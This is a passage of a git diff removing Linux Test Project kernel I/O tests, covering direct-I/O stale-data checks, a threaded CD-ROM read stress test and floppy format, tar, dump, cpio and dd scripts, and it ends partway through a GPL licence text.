-	int rc;
-	int offset;
-
-	memset(iobuf, pattern, WRITESIZE);
-	for (offset = 0; offset + WRITESIZE <= BIGSIZE; offset += WRITESIZE) {
-		rc = pwrite(fd, iobuf, WRITESIZE, offset);
-		assert("pwrite", rc >= 0);
-		if (rc != WRITESIZE) {
-			fprintf(stderr, "Pass %d: short write (%d out of %d)\n",
-				pass, rc, WRITESIZE);
-			exit(1);
-		}
-		fsync(fd);
-	}
-}
-
-int do_direct_reads(char *filename)
-{
-	int fd;
-	int offset;
-	int rc, i;
-	int *p;
-
-	fd = open(filename, O_DIRECT | O_RDONLY, 0);
-	assert("open", fd >= 0);
-
-	for (offset = 0; offset + READSIZE <= BIGSIZE; offset += READSIZE) {
-		rc = pread(fd, iobuf, READSIZE, offset);
-		assert("pread", rc >= 0);
-		if (rc != READSIZE) {
-			fprintf(stderr, "Pass: %d short read (%d out of %d)\n",
-				pass, rc, READSIZE);
-			exit(1);
-		}
-		for (i = 0, p = (int *)iobuf; i < READSIZE; i += 4) {
-			if (*p) {
-				fprintf(stderr,
-					"Pass: %d Found data (%08x) at offset %d+%d\n",
-					pass, *p, offset, i);
-				close(fd);
-				return 1;
-			}
-			p++;
-		}
-	}
-	close(fd);
-	return 0;
-}
-
-int main(int argc, char *argv[])
-{
-	char *filename;
-	int fd;
-	int pid;
-	int err;
-	int bufsize;
-
-	if (argc != 2) {
-		fprintf(stderr, "Needs a filename as an argument.\n");
-		exit(1);
-	}
-
-	filename = argv[1];
-
-	pagesize = getpagesize();
-	bufsize = READSIZE;
-	if (WRITESIZE > READSIZE)
-		bufsize = WRITESIZE;
-	err = posix_memalign((void **)&iobuf, pagesize, bufsize);
-	if (err) {
-		fprintf(stderr, "Error allocating %d aligned bytes.\n",
-			bufsize);
-		exit(1);
-	}
-
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	assert("open", fd >= 0);
-
-	do {
-
-		assert("ftruncate", ftruncate(fd, BIGSIZE) == 0);
-		fsync(fd);
-
-		pid = fork();
-		assert("fork", pid >= 0);
-
-		if (!pid) {
-			do_buffered_writes(fd, 0);
-			exit(0);
-		}
-
-		err = do_direct_reads(filename);
-
-		wait4(pid, NULL, WNOHANG, 0);
-
-		if (err)
-			break;
-
-		/* Fill the file with a known pattern so that the blocks
-		 * on disk can be detected if they become exposed. */
-		do_buffered_writes(fd, 1);
-		fsync(fd);
-
-		assert("ftruncate", ftruncate(fd, 0) == 0);
-		fsync(fd);
-	} while (pass++ < MAX_ITERATIONS);
-
-	if (!err) {
-		fprintf(stdout, "ltp-diorh: Completed %d iterations OK \n",
-			pass);
-	}
-
-	return err;
-}
diff --git a/testcases/kernel/io/ltp-aiodio/read_checkzero.c b/testcases/kernel/io/ltp-aiodio/read_checkzero.c
deleted file mode 100644
index b48197a..0000000
--- a/testcases/kernel/io/ltp-aiodio/read_checkzero.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
- *               2004 Open Source Development Lab
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Module: .c
- */
-
-/*
- * Change History:
- *
- * 2/2004  Marty Ridgeway (mridge@us.ibm.com) Changes to adapt to LTP
- *
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-
-#include "common_checkzero.h"
-
-int read_eof(char *filename)
-{
-	int fd;
-	int i;
-	int r;
-	char buf[4096];
-
-	if ((fd = open(filename, O_RDWR)) < 0) {
-		fprintf(stderr, "can't open file %s \n", filename);
-		exit(1);
-	}
-
-	for (i = 0; i < 100000; i++) {
-		off_t offset;
-		char *bufoff;
-
-		offset = lseek(fd, 4096, SEEK_END);
-		r = write(fd, "A", 1);
-
-		offset = lseek(fd, offset - 4096, SEEK_SET);
-
-		r = read(fd, buf, 4096);
-		if (r > 0) {
-			if ((bufoff = check_zero(buf, r))) {
-				fprintf(stderr, "non-zero read at offset %p\n",
-					offset + bufoff);
-				exit(1);
-			}
-		}
-	}
-	fprintf(stderr, "read_checkzero done\n");
-	return 0;
-}
-
-int main(int argc, char **argv)
-{
-	if (argc < 2) {
-		printf("You must pass a filename to the test \n");
-		exit(1);
-	}
-
-	char *filename = argv[1];
-
-	read_eof(filename);
-
-	return 0;
-}
diff --git a/testcases/kernel/io/stress_cd/.gitignore b/testcases/kernel/io/stress_cd/.gitignore
deleted file mode 100644
index 1c7ad9a..0000000
--- a/testcases/kernel/io/stress_cd/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/stress_cd
diff --git a/testcases/kernel/io/stress_cd/Makefile b/testcases/kernel/io/stress_cd/Makefile
deleted file mode 100644
index 252cded..0000000
--- a/testcases/kernel/io/stress_cd/Makefile
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-LDLIBS			+= -lpthread
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/io/stress_cd/stress_cd.c b/testcases/kernel/io/stress_cd/stress_cd.c
deleted file mode 100644
index ede1871..0000000
--- a/testcases/kernel/io/stress_cd/stress_cd.c
+++ /dev/null
@@ -1,244 +0,0 @@
-/*
- *   Copyright (c) International Business Machines  Corp., 2001
- *    06/20/2001 Robbie Williamson (robbiew@us.ibm.com)
- *    11/08/2001 Manoj Iyer (manjo@austin.ibm.com)
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Usage:	stress_cd [-n n] [-f file] [-m xx] [-d]
- *		where:
- *		  -n n     Number of threads to create
- *		  -f file  File or device to read from
- *		  -m xx    Number of MB to read from file
- *		  -b xx    Number of bytes to read from file
- *		  -d       Enable debugging messages
- */
-
-#include <pthread.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <assert.h>
-#include <errno.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-
-#define DEFAULT_NUM_THREADS	10
-#define DEFAULT_NUM_BYTES	(1024*1024*100)	/* 100Mb */
-#define DEFAULT_FILE		"/dev/cdrom"
-
-static void sys_error(const char *, int);
-static void parse_args(int, char **);
-static void *thread(int *);
-static int read_data(int, unsigned long *);
-
-static int num_threads = DEFAULT_NUM_THREADS;
-static int num_bytes = DEFAULT_NUM_BYTES;
-static char *file = DEFAULT_FILE;
-static unsigned long checksum;
-static int debug;
-
-int main(int argc, char **argv)
-{
-	pthread_attr_t attr;
-	int rc = 0, i;
-
-	/* Parse command line arguments and print out program header */
-	parse_args(argc, argv);
-
-	/* Read data from CDROM & compute checksum */
-	read_data(0, &checksum);
-	if (debug)
-		printf("Thread [main] checksum: %-#12lx\n", checksum);
-
-	if (pthread_attr_init(&attr))
-		sys_error("pthread_attr_init failed", __LINE__);
-	if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE))
-		sys_error("pthread_attr_setdetachstate failed", __LINE__);
-
-	printf("\tThread [main] Creating %d threads\n", num_threads);
-
-	pthread_t array[num_threads];
-	int arg[num_threads];
-
-	for (i = 0; i < num_threads; i++) {
-		if (debug)
-			printf("\tThread [main]: creating thread %d\n", i + 1);
-		arg[i] = i + 1;
-		if (pthread_create((pthread_t *)&array[i], &attr,
-				   (void *)thread, (void *)&arg[i])) {
-			if (errno == EAGAIN) {
-				fprintf(stderr,
-					"\tThread [main]: unable to create "
-					"thread %d\n", i);
-			} else {
-				sys_error("pthread_create failed", __LINE__);
-			}
-		}
-		if (debug)
-			printf("\tThread [main]: created thread %d\n", i + 1);
-	}
-	if (pthread_attr_destroy(&attr))
-		sys_error("pthread_attr_destroy failed", __LINE__);
-
-	for (i = 0; i < num_threads; i++) {
-		void *exit_value;
-		printf("\tThread [main]: waiting for thread: %d\n", i + 1);
-		if (pthread_join(array[i], &exit_value))
-			sys_error("pthread_join failed", __LINE__);
-
-		if (debug)
-			printf("\tThread [%d]: return %ld\n", i + 1,
-			       (long)exit_value);
-		rc += (long)exit_value;
-	}
-
-	if (rc != 0) {
-		printf("test failed!\n");
-		exit(-1);
-	}
-
-	printf("\tThread [main] All threads completed successfully...\n");
-	exit(0);
-}
-
-static void *thread(int *parm)
-{
-	int num = *parm;
-	unsigned long cksum = 0;
-
-	if (debug)
-		printf("\tThread [%d]: begin\n", num);
-
-	read_data(num, &cksum);
-	if (checksum != cksum) {
-		fprintf(stderr, "\tThread [%d]: checksum mismatch!\n", num);
-		pthread_exit((void *)-1);
-	}
-
-	if (debug)
-		printf("\tThread [%d]: done\n", num);
-
-	pthread_exit(NULL);
-}
-
-static int read_data(int num, unsigned long *cksum)
-{
-	int fd;
-	const int bufSize = 1024;
-	char *buffer;
-	int bytes_read = 0;
-	int n;
-	char *p;
-
-	if (debug)
-		printf("\tThread [%d]: read_data()\n", num);
-
-	if ((fd = open(file, O_RDONLY, NULL)) < 0)
-		sys_error("open failed /dev/cdrom", __LINE__);
-
-	buffer = malloc(sizeof(char) * bufSize);
-	assert(buffer);
-
-	lseek(fd, 1024 * 36, SEEK_SET);
-	while (bytes_read < num_bytes) {
-		n = read(fd, buffer, bufSize);
-		if (n < 0)
-			sys_error("read failed", __LINE__);
-		else if (n == 0)
-			sys_error("End of file", __LINE__);
-		bytes_read += n;
-
-		for (p = buffer; p < buffer + n; p++)
-			*cksum += *p;
-
-		if (debug)
-			printf("\tThread [%d] bytes read: %5d checksum: "
-			       "%-#12lx\n", num, bytes_read, *cksum);
-	}
-	free(buffer);
-
-	if (debug)
-		printf("\tThread [%d] bytes read: %5d checksum: %-#12lx\n",
-		       num, bytes_read, *cksum);
-
-	if (close(fd) < 0)
-		sys_error("close failed", __LINE__);
-
-	if (debug)
-		printf("\tThread [%d]: done\n", num);
-
-	return (0);
-}
-
-static void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "df:n:b:m:?")) != EOF) {
-		switch (i) {
-		case 'd':	/* debug option */
-			debug++;
-			break;
-		case 'f':	/* file to read from */
-			file = optarg;
-			break;
-		case 'm':	/* num MB to read */
-			num_bytes = atoi(optarg) * 1024 * 1024;
-			break;
-		case 'b':	/* num bytes to read */
-			num_bytes = atoi(optarg);
-			break;
-		case 'n':	/* number of threads */
-			num_threads = atoi(optarg);
-			break;
-		case '?':	/* help */
-			errflag++;
-			break;
-		}
-	}
-	if (num_bytes < 0) {
-		errflag++;
-		fprintf(stderr, "ERROR: num_bytes must be greater than 0");
-	}
-	if (num_threads < 0) {
-		errflag++;
-		fprintf(stderr, "ERROR: num_threads must be greater than 0");
-	}
-
-	if (errflag) {
-		fprintf(stderr, "\nUsage: %s"
-			" [-n xx] [-m|b xx] [-d]\n\n"
-			"\t-n xx    Number of threads to create (up to %d)\n"
-			"\t-f file  File to read from\n"
-			"\t-m xx    Number of MB to read\n"
-			"\t-b xx    Number of bytes to read\n"
-			"\t-d       Debug option\n", program_name,
-			DEFAULT_NUM_THREADS);
-		exit(2);
-	}
-}
-
-static void sys_error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [%d: %s: %s]\n", line, msg, strerror(errno));
-	exit(-1);
-}
diff --git a/testcases/kernel/io/stress_floppy/.gitignore b/testcases/kernel/io/stress_floppy/.gitignore
deleted file mode 100644
index 41ea989..0000000
--- a/testcases/kernel/io/stress_floppy/.gitignore
+++ /dev/null
@@ -1,4 +0,0 @@
-/1000K_file
-/100K_file
-/10K_file
-/dumpdir/
diff --git a/testcases/kernel/io/stress_floppy/Makefile b/testcases/kernel/io/stress_floppy/Makefile
deleted file mode 100644
index 25dbef1..0000000
--- a/testcases/kernel/io/stress_floppy/Makefile
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-INSTALL_TARGETS		:= stress_floppy
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/io/stress_floppy/datafiles/Makefile b/testcases/kernel/io/stress_floppy/datafiles/Makefile
deleted file mode 100644
index 9d6fd5f..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-################################################################################
-##   kernel/io/stress_floppy/datafiles Makefile.                              ##
-##                                                                            ##
-##   Copyright (c) International Business Machines  Corp., 2001               ##
-##   Copyright (c) 2015 Fujitsu Ltd.                                          ##
-##                                                                            ##
-##   This program is free software; you can redistribute it and/or modify     ##
-##   it under the terms of the GNU General Public License as published by     ##
-##   the Free Software Foundation; either version 2 of the License, or        ##
-##   (at your option) any later version.                                      ##
-##                                                                            ##
-##   This program is distributed in the hope that it will be useful,          ##
-##   but WITHOUT ANY WARRANTY; without even the implied warranty of           ##
-##   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            ##
-##   GNU General Public License for more details.                             ##
-##                                                                            ##
-##   You should have received a copy of the GNU General Public License along  ##
-##   with this program; if not, write to the Free Software Foundation, Inc.,  ##
-##   51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.              ##
-##                                                                            ##
-################################################################################
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_DIR		:= testcases/data/stress_floppy
-
-INSTALL_TARGETS		:= dd_file
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/io/stress_floppy/datafiles/dd_file b/testcases/kernel/io/stress_floppy/datafiles/dd_file
deleted file mode 100644
index 5a7cc7f..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/dd_file
+++ /dev/null
Binary files differ
diff --git a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/.gitignore b/testcases/kernel/io/stress_floppy/datafiles/dumpdir/.gitignore
deleted file mode 100644
index 79e5b99..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-*K_file
diff --git a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file b/testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file
deleted file mode 100644
index bd647d6..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file
+++ /dev/null
@@ -1,19 +0,0 @@
-_testr              lib                     smit.log.old
-austin                  liblpp.a                smit.log.sav
-backup_list             lost+found              smit.script
-backup_list             lost+found              smit.script
-backup_list             lost+found              smit.script
-backup_list             lost+found              smit.script
-backup_list             lost+found              smit.script
-backup_list             lost+found              smit.script
-bin                     lpp                     tftpboot
-bootrec                 lpp_name                tmp
-          mnt                     tmp_fddi
-dev                     monitors                tmp_rex
-etc                     ptypf.image             u
-export                  ptypferr.out            unix
-ezcfg                   ptypfres.out            usr
-hd3dir                  rcp_stress.lassie.16865 var
-hd4dir                  sbin                    x_st_tmp
-home                    smit.installdisk
-inst_ptf                smit.log
diff --git a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/Makefile b/testcases/kernel/io/stress_floppy/datafiles/dumpdir/Makefile
deleted file mode 100644
index 66f5fe3..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/Makefile
+++ /dev/null
@@ -1,40 +0,0 @@
-################################################################################
-##   kernel/io/stress_floppy/datafiles/dumpdir Makefile.                      ##
-##                                                                            ##
-##   Copyright (c) International Business Machines  Corp., 2001               ##
-##   Copyright (c) 2015 Fujitsu Ltd.                                          ##
-##                                                                            ##
-##   This program is free software; you can redistribute it and/or modify     ##
-##   it under the terms of the GNU General Public License as published by     ##
-##   the Free Software Foundation; either version 2 of the License, or        ##
-##   (at your option) any later version.                                      ##
-##                                                                            ##
-##   This program is distributed in the hope that it will be useful,          ##
-##   but WITHOUT ANY WARRANTY; without even the implied warranty of           ##
-##   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            ##
-##   GNU General Public License for more details.                             ##
-##                                                                            ##
-##   You should have received a copy of the GNU General Public License along  ##
-##   with this program; if not, write to the Free Software Foundation, Inc.,  ##
-##   51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.              ##
-##                                                                            ##
-################################################################################
-
-top_srcdir		?= ../../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-CLEAN_TARGETS		:= 10*K_file
-
-MAKE_TARGETS		:= 10K_file 100K_file 1000K_file
-
-INSTALL_DIR		:= testcases/data/stress_floppy/dumpdir
-
-INSTALL_TARGETS		:= *K_file
-
-10K_file:
-100K_file:
-1000K_file:
-	@$(SHELL) "$(abs_srcdir)/generate.sh"
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/generate.sh b/testcases/kernel/io/stress_floppy/datafiles/dumpdir/generate.sh
deleted file mode 100755
index e13d504..0000000
--- a/testcases/kernel/io/stress_floppy/datafiles/dumpdir/generate.sh
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/bin/sh
-
-COUNT=0
-
-FILE=1K_file
-
-for i in 10K_file 100K_file 1000K_file; do
-
-	[ -e "$i" ] && continue
-
-	echo "Creating \`$i'"
-
-	COUNT=0
-
-	while [ $COUNT -le 10 ]; do
-		cat "$FILE" >> "$i"
-		COUNT=$(( $COUNT + 1 ))
-	done
-
-	FILE=$i
-
-done
diff --git a/testcases/kernel/io/stress_floppy/stress_floppy b/testcases/kernel/io/stress_floppy/stress_floppy
deleted file mode 100755
index 7510f08..0000000
--- a/testcases/kernel/io/stress_floppy/stress_floppy
+++ /dev/null
@@ -1,264 +0,0 @@
-#!/bin/sh
-#
-#
-#   Copyright (c) International Business Machines  Corp., 2001
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : stress_floppy
-#
-#  PURPOSE : Tests the reading/writing/formatting on a floppy drive
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#     -Ported
-#
-#
-#---------------------------------------------------------------------------
-
-TCdat=${TCdat:-$LTP_DATAROOT}
-
-TCID="io_floppy"
-TST_TOTAL=7
-. test.sh
-
-setup()
-{
-	tst_tmpdir
-
-	tst_require_cmds fdformat tar dump cpio dd mkfs mkdosfs
-
-	TCtmp=$(pwd)
-}
-
-cleanup()
-{
-	tst_rmdir
-}
-
-
-test_for_device()
-{
-	grep fd /proc/devices
-	if [ $? = 0 ]; then
-		num_device=$(ls /dev | grep fd0 | wc -l)
-		if [ $num_device = 0 ]; then
-			tst_brkm TCONF "No floppy diskette drive available!"
-		else
-			tst_resm TINFO "Floppy diskette drive fd0 available."
-		fi
-	else
-		tst_brkm TCONF "No floppy diskette drive available!"
-	fi
-}
-
-test_format()
-{
-	tst_resm TINFO "Testing format..."
-	fdformat  /dev/fd0
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Format failed!"
-	else
-		tst_resm TPASS "Format successful."
-	fi
-}
-
-test_tar()
-{
-	for the_file in 1K_file 10K_file 100K_file 1000K_file
-	do
-		tst_resm TINFO "Testing $the_file tar..."
-		tar -C $TCdat/dumpdir -cvf /dev/fd0 $the_file
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file Tar write failed!"
-			return
-		else
-			tst_resm TINFO "$the_file Tar write passed."
-		fi
-		tar -xvf /dev/fd0
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file Tar read failed!"
-			return
-		else
-			tst_resm TINFO "$the_file Tar read passed."
-		fi
-		diff $TCdat/dumpdir/$the_file $the_file >/dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Diff of the $the_file tar files failed!"
-			return
-		else
-			tst_resm TINFO "Diff of the $the_file tar files passed."
-		fi
-		rm -f $the_file
-	done
-	tst_resm TPASS "test_tar: PASS."
-}
-
-test_dump()
-{
-	tst_resm TINFO "Testing dump/restore..."
-	cp -r $TCdat/dumpdir ./
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Could not create dumpdir directory in $TCtmp"
-		return
-	fi
-
-	dump -f /dev/fd0 dumpdir
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$the_file dump write failed!"
-		return
-	else
-		tst_resm TINFO "$the_file dump write passed."
-	fi
-
-	rm -rf dumpdir
-	cd /
-
-	restore -v -r -f /dev/fd0 2>/dev/null
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$the_file restore read failed!"
-		return
-	else
-		tst_resm TINFO "$the_file restore read passed."
-	fi
-
-	cd -
-
-	for the_file in 1K_file 10K_file 100K_file
-	do
-		diff dumpdir/$the_file /$TCdat/dumpdir/$the_file >/dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL \
-				 "Diff of the $the_file backup files failed!"
-			return
-		else
-			tst_resm TINFO \
-				 "Diff of the $the_file backup files passed."
-		fi
-	done
-	tst_resm TPASS "test_dump: PASS."
-	rm -rf dumpdir
-	rm -f restoresymtable
-}
-
-test_cpio()
-{
-	for the_file in 1K_file 10K_file 100K_file 1000K_file
-	do
-		tst_resm TINFO "Testing $the_file cpio..."
-		cd $TCdat/dumpdir
-		echo $the_file | cpio -o > /dev/fd0
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file cpio write failed!"
-			return
-		else
-			tst_resm TINFO "$the_file cpio write passed."
-		fi
-		cd $TCtmp
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Could not change to $TCtmp directory!"
-			return
-		fi
-		cpio -i < /dev/fd0
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file cpio read failed!"
-			return
-		else
-			tst_resm TINFO "$the_file cpio read passed."
-		fi
-		diff $TCdat/dumpdir/$the_file $the_file >/dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL \
-				 "Diff of the $the_file cpio files failed!"
-			return
-		else
-			tst_resm TINFO \
-				 "Diff of the $the_file cpio files passed."
-		fi
-		rm -f $the_file
-	done
-	tst_resm TPASS "test_cpio: PASS."
-}
-
-test_dd()
-{
-	for the_file in dd_file
-	do
-		tst_resm TINFO "Testing $the_file dd..."
-		dd if=$TCdat/$the_file of=/dev/fd0 ibs=1b obs=90b conv=sync
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file dd write failed!"
-			return
-		else
-			tst_resm TINFO "$the_file dd write passed."
-		fi
-		dd if=/dev/fd0 of=$the_file ibs=90b obs=1b conv=sync
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$the_file dd read failed!"
-			return
-		else
-			tst_resm TINFO "$the_file dd read passed."
-		fi
-		diff $TCdat/$the_file $the_file >/dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Diff of the $the_file dd files failed!"
-			return
-		else
-			tst_resm TINFO "Diff of the $the_file dd files passed."
-		fi
-		rm -f $the_file
-	done
-	tst_resm TPASS "test_dd: PASS."
-}
-
-test_linuxformat()
-{
-	tst_resm TINFO "Testing mkdosfs...."
-	mkfs -v /dev/fd0
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Linux (ext2) format failed!"
-	else
-		tst_resm TPASS "Linux (ext2) successful."
-	fi
-}
-
-test_dosformat()
-{
-	tst_resm TINFO "Testing mkdosfs...."
-	mkdosfs -v /dev/fd0
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Dosformat failed!"
-	else
-		tst_resm TPASS "Dosformat successful."
-	fi
-}
-
-setup
-
-TST_CLEANUP=cleanup
-
-test_for_device
-
-test_format
-test_tar
-test_dump
-test_cpio
-test_dd
-test_linuxformat
-test_dosformat
-
-tst_exit
diff --git a/testcases/kernel/io/writetest/gpl.txt b/testcases/kernel/io/writetest/gpl.txt
deleted file mode 100644
index 5b6e7c6..0000000
--- a/testcases/kernel/io/writetest/gpl.txt
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
